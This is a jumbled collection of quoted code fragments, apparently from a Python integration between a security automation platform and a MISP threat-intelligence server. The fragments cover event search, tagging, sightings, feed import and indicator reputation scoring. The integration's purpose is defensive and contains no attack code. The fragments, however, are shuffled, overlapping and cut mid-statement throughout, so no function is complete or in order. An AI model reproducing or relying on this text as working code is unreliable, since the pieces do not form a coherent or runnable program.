\"page\", required=True)","or suspicious. If no tag was found, then the score is Unknown so","0: raise DemistoException('Attribute limit has to be a positive number.') response = PYMISP._prepare_request('GET',","misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added","== 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value}","the arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes =","build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and","FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable","= demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except","Please make sure the UUID and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid,","event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if","= PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event with ID: {event_id} has","remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not","An event with the given id: {event_id} was not found in MISP. please","else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date =","{value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] #",") except ValueError as e: raise DemistoException(f'URL [{url}] is not a valid MISP","attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute","type (file, url, domain, email or ip). malicious_tag_ids (set): Tag ids should be","all the events that have the tag (i.e found_tag) which caused the indicator","in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the required tag was failed.","event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\"","attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen","'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org',","limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids","urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import","add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text","(DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number of attributes that","elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command ==","page {page} out others that may exist\" else: pagination_message += f\"Showing page {page}\"","a valid value for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\",","is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids,","# misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids',","id: {event_id} was not found in MISP. please check it once again\") new_event","using the 'event' controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\",","ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp':","None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args))","demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if","== 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value} is","json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit):","that includes the tag list. is_event_level (bool): Whether the attribute_dict was received from","dict): event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies =","remove the \"Related Attribute\" list and limits the tags and galaxies lists. Eventually,","it once again\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event)","as malicious or suspicious. If no tag was found, then the score is","def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key]","in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations'","demisto_args: dict = {}, new_event: MISPEvent = None): \"\"\"Adding attribute to a given","= [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id',","integers.\"\"\" for tag in tag_ids: try: tag = int(tag) if tag <= 0:","like to add it to tag_set_ids. In any other case, we won't add","elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args,","event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event","events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent']","3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment',","= [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None","the threat level is 4 = Unknown. note: - In case the same","= urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path':","and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit)","When it is set to 1 it says that it is an event's","else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise","to add to MISP event_id: ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj)","human_readable = f'Object has been added to MISP event ID {event_id}' return CommandResults(","'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif","# Filter object from keys in event_args events[i] = {key: events[i].get(key) for key","Otherwise, the threat level is 4 = Unknown. note: - In case the","malicious and suspicious) are stronger than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious","is an attribute's tag. If the data is event's (is_event_level = true) we","re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters')","for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\"","need in returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i])","= attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field","MISP add attribute\\nNew attribute: {value} was added to event id {new_event.id}.\\n\" return CommandResults(","in tag_ids: try: tag = int(tag) if tag <= 0: raise DemistoException(f\"Tag id","attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event = attribute.get('Event', {})","'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount',","for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when","if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score,","attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'):","match the search query when user set the arg 'compact' to True\"\"\" if","is_attribute=False): \"\"\" Function will remove tag to given UUID of event or attribute.","positive number\") if limit and limit < 0: raise DemistoException(\"limit should be zero","response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event","again\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal:","test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0:","Demisto args new_event (MISPEvent): When this function was called from create event command,","event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp']","is too big. User can use the command search-attributes in order to get","attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event","= f'Tag {tag} has been successfully removed from the attribute {uuid}' return CommandResults(","uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from","{page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return","} event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id","for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command =","Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org","is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if","elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command ==","attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting')","return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i]","raise DemistoException( f\"Error: An event with the given id: {event_id} was not found","CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect","'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args =","= { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 }","ids lists the indicator will be scored as malicious. - Attributes tags (both","'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format':","return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the","related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not in related_events[i +","is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event =","args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format:","CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact',","OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data',","url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url')","to an attribute (True) or event (False). \"\"\" uuid = demisto_args.get('uuid') tag =","return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict):","return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\"","arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values from","if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object","{'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if","as e: raise DemistoException( f'`attribute` parameter could not be decoded, may not a","DemistoException( f'None of required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def","= any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return","args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module':","described in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator: object","{page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return","human_readable = f'Tag {tag} has been successfully added to attribute {uuid}' return CommandResults(","response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command:","'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id':","connect to MISP, ' 'Please make sure the API key is correct.') return_error(error)","'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type","(i.e malicious). * have tags which configured as suspicious will be scored 2","attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events =","response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing","limit and limit < 0: raise DemistoException(\"limit should be zero or a positive","\"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if","score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes =","not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids,","= handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command ==","key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return","to get the information about the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object,","timestamp from MISP response (1546713469) and converts it to human readable format \"\"\"","= limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute,","[] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag","argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score']","in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute,","'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command","in the malicious one (as a tag that was configured to be malicious","pythonify=True) if not response: raise DemistoException( f\"Error: An event with the given id:","index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event =","text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in","return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed","1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response =","re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator =","successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\")","if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False'))","in MISP with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event,","the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has to be a","This function searches for the given attribute value in MISP and then calculates","url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try:","threat level id) about all the events that include the indicator Please see","successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response )","DemistoException(f'Event ID: {event_id} has not found in MISP: \\nError message: {response}') else: human_readable","return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if","'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting","score is calculated by the tags ids (attribute tags and event tags). Args:","attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name))","# Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn '''","delimiter for parameters and ';' as delimiter for operators. using the operators is","removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events","'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation',","the required indicator value, this function parses the response. This function goes over","'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id':","replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags =","related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name):","not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags'])","with ID: {event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event),","DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a valid value","human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults(","case, we won't add the tag. Args: attribute_dict (dict): The dictionary that includes","been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add","tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot =","nothing with warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python","get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following logic.","comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance","along with their events objects. Note: When limits the attributes amount, we sort","= re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params,","reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type):","be scored as malicious or suspicious. Args: all_attributes (dict): The parsed response from","outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove","import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect to","[{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def","'1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN':","response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context)","the given limit) and by sub-functions calculated the score of the indicator. For","is_complex_search = False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search =","= [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last',","{ 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ]","has not found in MISP: \\nError message: {response}') else: human_readable = f'Event {event_id}","'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id)","url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None","suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids,","requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index,","'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if","found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match","suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes which match the required indicator","found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event:","list includes all the events that were detected as related to the tag.","event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for","not post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this","attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else:","publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must","attributes_limit): \"\"\" This function searches for the given attribute value in MISP and","= attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew","' 'Please try to use the Trust any certificate option.') if \"NewConnectionError\" in","= new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP","appears in both Malicious tag ids and Suspicious tag ids lists the indicator","demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator","tags. If so, the event will be added to related_events list Args: object_data_dict","of in unnecessary data, we want to limit this list to include only","the malicious one (as a tag that was configured to be malicious is","'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen',","the context data outputs, for every attribute we remove the \"Related Attribute\" list","MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values from Demisto to","= argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [","UUID and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag","'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised","suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif","Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def","generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results =","Event or attribute dict which includes tags list. found_tag (str): The tag that","original input will be returned Returns: str: dictionary created for misp to perform","} DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [","} def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be full of in","event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name))","response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list =","[{k: v} for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) ->","== found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name':","that found (after limit the attributes amount to the given limit) and by","the context Returns: CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response","\"\"\" Converts args dict into a list, please see GenericObjectGenerator Class in Pymisp.","sure the API key and the URL are correct\" in error: return_error('Unable to","event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for","}) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search over","ID and Name fields. In addition, returns set of the found tag ids.","\"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit =","str: dictionary created for misp to perform complex query or if no complex","values from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type')","== 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings')","'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\")","Converts args dict into a list, please see GenericObjectGenerator Class in Pymisp. Args:","def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event in events_to_human_readable:","list: list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain':","event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes',","Calculates the indicator score by following logic. Indicators of attributes and Events that:","been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response),","MISP because of a NewConnectionError, ' 'Please make sure your MISP server url","verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index, uri","a given MISP event object This function can be called as an independence","'orgc_id': 'OwnerOrganization.ID', 